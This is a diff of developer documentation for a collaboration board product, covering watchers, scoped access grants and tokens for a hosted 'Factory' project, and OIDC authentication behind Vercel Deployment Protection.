export const GET = team.fetch, POST = team.fetch
|
|
135
|
-
export const { scheduler } = backend
|
|
136
128
|
```
|
|
137
129
|
|
|
138
130
|
- **`event` is exactly what `vb tail --json` prints.** Debug a watcher by
|
|
@@ -144,11 +136,11 @@ export const { scheduler } = backend
|
|
|
144
136
|
- **A watcher's own writes never wake it.** Writes by other watchers do, so
|
|
145
137
|
two watchers that answer each other loop.
|
|
146
138
|
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
[
|
|
139
|
+
The board is on `local()` because `firehose` mirrors Slack, and Vercel's board
|
|
140
|
+
doesn't run sync yet: a board with `sync` runs in a long-running process,
|
|
141
|
+
whose timers retry a `run` that fails. A watcher on a channel nothing syncs
|
|
142
|
+
runs on your team's board as it is, `board({ watch })`: see
|
|
143
|
+
[Watchers](../01-board/06-watchers.md).
|
|
152
144
|
|
|
153
145
|
## 4. Hand reports to an agent
|
|
154
146
|
|
|
@@ -6,7 +6,7 @@ description: Give hosted Factory workflows a persistent collaboration board with
|
|
|
6
6
|
## One collaboration surface
|
|
7
7
|
|
|
8
8
|
A Factory uses a team's board like any other client, through its
|
|
9
|
-
`/api/board`. It needs no endpoint
|
|
9
|
+
`/api/board`. It needs no endpoint or storage of its own, and people
|
|
10
10
|
read its discussions in the board's inspector. Factory discussions live in
|
|
11
11
|
namespaced `factory/...` channels, and its posts use `noSync: true`, so they
|
|
12
12
|
stay on the board even in a channel that syncs. Keep the board's watcher
|
|
@@ -17,41 +17,33 @@ reaches no platform, whatever its labels.
|
|
|
17
17
|
|
|
18
18
|
There are two independent checks. Configure both on the board's project.
|
|
19
19
|
|
|
20
|
-
1.
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
backend: a2({ store: postgres({ connectionString: process.env.DATABASE_URL! }) }),
|
|
31
|
-
access: [
|
|
32
|
-
// The Factory reads and posts everywhere, and labels only its own discussions.
|
|
33
|
-
vercelProject({
|
|
34
|
-
project: 'prj_FACTORY_ID',
|
|
35
|
-
environments: ['production'],
|
|
36
|
-
can: { '*': ['read', 'post'], 'factory/': ['read', 'post', 'label'] },
|
|
37
|
-
}),
|
|
38
|
-
],
|
|
39
|
-
})
|
|
40
|
-
export const GET = team.fetch, POST = team.fetch
|
|
20
|
+
1. A [grant](../01-board/09-access.md#grants) names the Factory's project by
|
|
21
|
+
its ID, with the environment it calls from. Someone with `manage` in every
|
|
22
|
+
channel creates it on the board, a board that keeps grants: one on
|
|
23
|
+
[`local()`](../01-board/10-local.md) or a
|
|
24
|
+
[backend of your own](../01-board/01-mounting.md#a-backend-of-your-own).
|
|
25
|
+
Vercel's board doesn't keep grants yet.
|
|
26
|
+
|
|
27
|
+
```text
|
|
28
|
+
$ vb grants create --project prj_FACTORY_ID --environment production --can '*=read,post;factory/=read,post,label'
|
|
29
|
+
created g4 --project prj_FACTORY_ID --environment production *=read,post factory/=read,post,label
|
|
41
30
|
```
|
|
42
31
|
|
|
43
|
-
- **Name the project by its ID.**
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
can mint its development tokens. Add preview or development only when you
|
|
48
|
-
mean to.
|
|
32
|
+
- **Name the project by its ID.** The ID above is a placeholder.
|
|
33
|
+
- **Name the environments.** A project grant names them, since a preview runs
|
|
34
|
+
any branch's code. Add preview or development only when you mean to: anyone
|
|
35
|
+
who can access the Factory's project can mint its development tokens.
|
|
49
36
|
- **The grant reads and posts in every channel,** and labels only in
|
|
50
37
|
`factory/`, since a Factory post carries labels. It never reacts or syncs.
|
|
38
|
+
- **A Factory on another team has only a board token,** until cross-team
|
|
39
|
+
access exists. Someone on the board's team mints it with the same scope:
|
|
40
|
+
`vb tokens create factory --can '*=read,post;factory/=read,post,label' --profile factory --expires 90d`.
|
|
41
|
+
It acts as its minter, narrowed, and writes as their `factory` profile. It
|
|
42
|
+
lives 90 days at most, so mint the next one before it expires.
|
|
51
43
|
- **Edits and deletes go by principal.** Every run in an environment is one
|
|
52
|
-
principal, `vercel:project
|
|
53
|
-
|
|
54
|
-
scoped reads, posts, and replies.
|
|
44
|
+
principal, `vercel:project:prj_FACTORY_ID:production`, so a raw API client
|
|
45
|
+
in any run could edit or delete what another run posted. The Factory's tool
|
|
46
|
+
exposes only scoped reads, posts, and replies.
|
|
55
47
|
- **Nothing else changes.** The board's own people and deployments keep their
|
|
56
48
|
access.
|
|
57
49
|
|
|
@@ -71,8 +63,8 @@ for the current configuration UI and availability.
|
|
|
71
63
|
The Factory mints an audience-bound Vercel OIDC JWT and sends it in both
|
|
72
64
|
`Authorization: Bearer <JWT>` and `x-vercel-trusted-oidc-idp-token: <JWT>`.
|
|
73
65
|
The edge consumes the second header; the board verifies the first. No
|
|
74
|
-
protection-bypass secret is needed. A handle in Node on Vercel
|
|
75
|
-
|
|
66
|
+
protection-bypass secret is needed. A handle in Node on Vercel, `board()`
|
|
67
|
+
with `BOARD_URL` set to the board, sends both the same way, with
|
|
76
68
|
`BOARD_TOKEN` or the deployment's OIDC token for the board's URL. Local
|
|
77
69
|
people's clients don't add the second header.
|
|
78
70
|
|
|
@@ -85,9 +77,10 @@ never the secret. A hosted request the edge rejects fails with what trust to
|
|
|
85
77
|
configure, and never reads or creates a saved bypass. A deployment without
|
|
86
78
|
OIDC fails with how to enable it.
|
|
87
79
|
|
|
88
|
-
A board's wake-ups go the other way, and carry no credential. A project
|
|
89
|
-
board
|
|
90
|
-
itself: see
|
|
80
|
+
A board's wake-ups go the other way, and carry no credential. A project whose
|
|
81
|
+
watchers a board wakes at a URL, behind Deployment Protection, lets
|
|
82
|
+
`POST /wake` through itself: see
|
|
83
|
+
[Watchers](../01-board/06-watchers.md#woken-by-the-board).
|
|
91
84
|
|
|
92
85
|
## Scope and inspect
|
|
93
86
|
|